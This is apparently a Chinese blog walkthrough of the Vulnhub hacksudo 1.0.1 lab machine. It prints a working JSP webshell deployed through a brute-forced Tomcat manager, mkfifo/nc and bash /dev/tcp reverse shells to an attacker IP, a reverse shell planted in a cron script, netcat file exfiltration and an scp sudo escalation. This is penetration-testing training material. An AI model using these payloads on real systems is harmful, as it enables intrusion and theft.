Vulnhub:hacksudo1.0.1

靶机下载地址

信息收集

主机发现

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.131

端口扫描

nmap 192.168.31.131 -A -p- -T4

开放了80,8080,2222端口,其中2222端口是ssh服务。

web信息收集

80端口

访问80端口,登录框和注册框。登录框尝试了弱口令,无果;注册框注册后跳出弹框后报错prompt("New record created successfully");'; header("Location:http://localhost/JIU/index.php"); } else { echo ''; header("Location:http://localhost/JIU/index.php"); echo "Error: " . $sql . "" . mysqli_error($conn); } } ?> 

告诉我们新用户已创建成功,但是站点的sql相关代码应该有问题报错了,所以创新用户并没有写入到数据库中。

目录扫描

dirsearch -u http://192.168.31.131

首先,重点关注两个文件info.txt和users.sql,不出所料,在这两个文件中发现两组邮箱密码,还提示了products.sql,访问后没有什么发现。

两组邮箱和密码尝试登录,失败。

其他目录也看看。/admin.php,访问后显示已登录,两个选项点进去都看了看,整个网站的源码改的乱七八糟看着乱乱的,没什么发现,总体来说就是sql相关代码有问题,到处都在报错。

换个字典进行目录扫描。

gobuster dir -u http://192.168.31.131 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,js,jpg,png,txt

得到两个新路径。

get flag1.txt!

8080端口

直接访问,发现是tomcat管理页面,渗透思路考虑tomcat后台弱口令war包上传漏洞。

渗透

tomcat弱口令+war包上传

网站管理员并未删除tomcat默认后台页面,tomcat弱口令+war包上传。开启msf开始渗透,先获取账号密码。

search tomcat login
use auxiliary/scanner/http/tomcat_mgr_login
options
set rhosts 192.168.31.131
run

admin/admin,tomcat/tomcat

将get.jsp木马(连接密码是passwd)压缩成zip文件,再修改为.war后缀,最后上传到tomcat。

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

可以看到已经上传成功。

蚁剑连接。注意连接类型是jsp,如果没有jsp选项,更新蚁剑即可。

连接成功后进入虚拟终端,发现两个用户hacksudo,vishal。get flag2.txt.

hacksudo家目录下有user.txt,但是当前无权限读取。

反弹shell

由于蚁剑的虚拟终端能做的操作有限,所以需要反弹shell。

# 蚁剑虚拟终端
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.219 6666 > /tmp/f
# 攻击机
nc -lvp 6666

提权

存在两个用户,查看用户目录除了flag文件还有其他发现。

/home/hacksudo/getmanager,都是乱码,乱码中提到了/home/vishal/office/manage.sh。

查看manage.sh权限,可读可写可执行,内容如下:

如果manage.sh是定时任务那就太好了,可以尝试写入反弹shell。查一下定时任务,发现每分钟都会执行getmanager。

尝试将反弹shell写入manage.sh,提示权限不够。继续信息收集,在/var/backups/hacksudo下有三个文件,分别是hacksudo.zip,log.txt,vishal.jpg。zip文件就是hacksudo的备份文件压缩包。log.txt提示steghide图片隐写?

下载vishal.jpg到本地。下载完成后在攻击机终端ctrl+c即可。

# 攻击机
nc -nlvp 7777 > vishal.jpg
# 靶机
nc 192.168.31.219 7777 < vishal.jpg

steghide处理图片隐写,提示需要密码,先用stegseek爆破密码。

stegseek --crack vishal.jpg /usr/share/wordlists/rockyou.txt output.txt

密码是:iloveyou

得到密码后steghide将隐藏信息从载体中分离出来。

steghide extract -sf vishal.jpg

一串字符,前面纯字母部分像是偏移类加密。

onpxhc bs unpxfhqb znpuvar hfre hfre ivfuny cnffjbeq 985nn195p09so7q64n4oo24psr51so1s13rop444p494r765rr99q6p3rs46557p757787s8s5n6r0260q2r0r846q263sosor1311p884oo0os9792s8778n4434327

凯撒密码解密,测试发现偏移量是13(后面发现其实有个密码叫rot族密码,这里其实是rot族中的rot13)。解密后提示hacksudo机器用户vishal的密码是后面一段字符串。

backup of hacksudo machine user user vishal password 985aa195c09fb7d64a4bb24cfe51fb1f13ebc444c494e765ee99d6c3ef46557c757787f8f5a6e0260d2e0e846d263fbfbe1311c884bb0bf9792f8778a4434327

后面三行字符串是哈希加密,SHA-512,解密结果是hacker

切换到vishal用户,向manage.sh写入反弹shell脚本。

echo "bash -c 'bash -i >& /dev/tcp/192.168.31.219/8888 0>&1'" > manage.sh

get user.txt

sudo提权

sudo -l

scp | GTFOBins查看利用方式。

TF=$(mktemp)

echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo -u root scp -S $TF x y:

处理一下使用python获得交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

get root.txt!🎆

  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值